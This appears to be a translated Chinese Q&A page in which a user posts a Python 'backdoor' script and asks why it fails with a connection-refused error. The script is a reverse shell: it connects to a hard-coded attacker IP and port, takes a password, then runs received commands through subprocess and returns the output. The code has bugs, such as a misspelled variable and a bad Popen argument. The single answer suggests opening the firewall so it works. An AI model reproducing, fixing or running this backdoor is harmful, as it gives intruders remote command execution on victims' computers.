Python后门 - 套接字错误

时间:2017-05-22 23:23:01

标签: python windows

我认为我做了一个完美的后门,但是当我从cmd运行代码时,它一直出现错误。

以下是代码:

import socket 
import subprocess 

# Customizable variables
HOST = '10.0.0.138' # IP for remote connection 
PORT = 12397 # Port for remote connection 
PASS = 'Test' # Password to make sure it is secure

# Had To Make Some Changes
STR = 'Welcome'
ConnectMsg = bytes(STR.encode())

# Do not tuoch this
s = socket.socket() 

# Conecting to atack computer
s.connect((HOST, PORT)) 
s.send(ConnectMsg) 
s.send(HOST, PORT)

# Login using your custom PassWord
def Login():
    global s

    s.send('login>>> ')
    pwd = s.recv(1024)

    if pwd != PASS:
        Login ()
    else:
        Loop ()


# The fun stuff
def Loop():

    while 1: 
        data = s.recv(1024)

        if deta == ':Quit':
            break

        proc = subprocess.Popen(deta, Loop=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdoutput = proc.stdout.read() + proc.stderr.read()
        s.send(stdoutput)
        s.send('>>> ')

# Executing script
Login()

# Thankyou for downloading my script. .P.S ~ I programmed this with a smartphone XD.
# copyright @ joelwatson605@gmail.com

# I AM NOT RESPONSIBLE FOR ANYTHING YOU DO WITH THIS SCRIPT.

错误 -

  

文件" backdoor.py",第18行,in       s.connect((HOST,PORT))ConnectionRefusedError:[WinError 10061]无法建立连接,因为目标机器主动   拒绝了

1 个答案:

答案 0 :(得分:0)

这与python无关,你的机器刚刚决定阻止python访问这个特定的端口。尝试让你的防火墙(假设导致问题的原因)允许python进入该端口,它应该工作。